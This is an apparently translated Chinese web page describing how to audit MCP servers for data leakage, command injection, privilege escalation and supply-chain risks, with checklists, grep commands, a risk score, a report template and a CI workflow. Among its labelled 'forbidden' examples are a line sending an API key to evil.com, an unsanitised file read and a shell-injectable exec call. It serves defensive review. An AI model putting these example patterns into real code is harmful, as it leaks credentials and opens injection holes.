在部署前对MCP服务器进行安全审计,检测数据泄露、命令注入、权限提升和供应链漏洞。
MCP安全审计 QQ 不要盲目信任 MCP 服务器. . 先审核它们.是一项面向实际任务的技能,主要用于Problem.;MCP(模式上下文协议) 服务器赋予AI 代理强大的能力 - 文件访问,API 调用,代码执行。
从功能定位来看,该技能强调把分散的操作要求整理成清晰、可复用的处理流程,使用户能够围绕既定目标快速准备输入、选择执行方式并获得结构化结果。实际使用前应先确认任务范围、数据来源、运行环境、必要权限和关键参数,再依据技能说明逐步执行;
若输入条件不完整,应先补齐信息或采用保守配置,避免因错误假设导致结果偏离需求。执行过程中需要关注工具调用是否成功、接口或依赖是否可用、输出格式是否符合预期,并对异常提示、缺失字段和边界情况进行处理;涉及批量任务时,还应保存进度,避免中断后重复操作。
切勿盲目信任 MCP 服务器。请先进行审计。
MCP(Model Context Protocol)服务器为 AI 智能体提供强大能力——包括文件访问、API 调用和代码执行。但它们也可能:
真实事件示例:CVE-2026-23744 曝光了 MCP 注入漏洞。通过受污染的 MCP 包发起的供应链攻击正日益成为严重威胁。
□ 是否为官方/已验证包? □ 检查 npm / PyPI 下载量及维护者历史记录 □ 审阅近期提交,识别可疑变更 □ 若支持,验证包签名
□ 列出 MCP 所连接的所有外部 URL / 域名 □ 检查是否存在硬编码的 API 终端节点 □ 验证是否启用 TLS 证书校验 □ 标记向未知域名发送的任何数据
□ MCP 可读写哪些目录? □ 访问范围是否严格限定于项目目录内? □ 检查是否存在路径遍历漏洞 □ 标记对 ~/.ssh、~/.config、环境变量文件等敏感路径的访问
□ MCP 是否执行 shell 命令? □ 命令是否由用户控制,还是硬编码? □ 检查是否存在命令注入向量 □ 若存在沙箱/隔离机制,需验证其有效性
□ MCP 请求哪些权限? □ 权限是否遵循最小权限原则(Principle of Least Privilege)? □ 检查是否存在过度宽泛的权限请求 □ 验证敏感操作是否获得用户明确授权
□ 运行 npm audit / pip-audit / cargo audit □ 检查依赖中是否存在已知 CVE □ 标记存在安全修复但尚未更新的过期包 □ 审阅传递性依赖项
# 检查 package.json 中的可疑脚本 cat package.json | jq '.scripts' # 审计依赖项 npm audit # 检查 post-install 和 preinstall 脚本 cat package.json | jq '.scripts.postinstall, .scripts.preinstall' # 列出网络调用(需配合 grep) grep -r "fetch|axios|http|https|ws://" src/ --include="*.js" --include="*.ts"
# 检查 requirements.txt 中的可疑包 cat requirements.txt # 审计依赖项 pip-audit # 检查网络调用 grep -r "requests|urllib|httpx|aiohttp" src/ --include="*.py" # 检查子进程调用 grep -r "subprocess|os.system|exec|eval" src/ --include="*.py"
| 类别 | 权重 | 高风险指标 |
|---|---|---|
| 网络 | 30% | 未知域名、未启用 TLS、存在数据外泄模式 |
| 文件访问 | 25% | 访问用户主目录、存在路径遍历、访问敏感文件 |
| 命令执行 | 25% | 输入未净化、使用 shell=True、可执行任意命令 |
| 依赖项 | 15% | 存在已知 CVE、使用无人维护的包 |
| 来源 | 5% | 维护者未经验证、近期所有权变更 |
得分 ≥ 70:高风险 —— 未经审查不得使用 得分 40–69:中风险 —— 谨慎使用 得分 < 40:低风险 —— 通常安全
如发现以下任一情形,请立即拒绝该 MCP 服务器:
eval(atob('...')) 或类似形式process.env 或 os.environ# MCP 安全审计报告 **服务器**: [name] **版本**: [version] **审计日期**: [date] **风险评分**: [score]/100 ## 发现问题 ### 致命问题 - [列出致命问题] ### 高危问题 - [列出高危问题] ### 中危问题 - [列出中危问题] ### 低危问题 - [列出低危问题] ## 建议措施 1. [建议措施] 2. [建议措施] ## 审计结论 [ ] 已批准 —— 可安全使用 [ ] 有条件批准 —— 须落实上述建议 [ ] 拒绝 —— 风险过高
// 限定范围的文件访问
const allowedDir = path.resolve(process.cwd(), 'data');
if (!filePath.startsWith(allowedDir)) throw new Error('Access denied');
// 经净化的命令
const allowedCommands = ['git', 'npm', 'node'];
if (!allowedCommands.includes(cmd)) throw new Error('Command not allowed');
// 显式用户授权
if (!await askUserConsent('Allow access to X?')) return;
// 禁止:无限制的文件读取
fs.readFileSync(userInput); // 路径遍历!
// 禁止:Shell 注入
exec(`git ${userBranch}`); // 命令注入!
// 禁止:凭据泄露
fetch('https://evil.com/steal?token=' + process.env.API_KEY);
将以下内容添加至您的工作流中:
# .github/workflows/mcp-audit.yml
name: MCP 安全审计
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: 审计 MCP 服务器
run: |
# 在此处添加您的审计命令
npm audit
# 检查可疑模式
grep -r "eval|exec|process.env" mcp-servers/ && exit 1
请牢记:您每增加一个 MCP 服务器,都会扩大智能体的攻击面。务必先审计,再信任。
相关专题
热门下载
相关下载
精品课程
共6课时 | 54.7万人学习
共89课时 | 133.7万人学习
共49课时 | 82.4万人学习
最新文章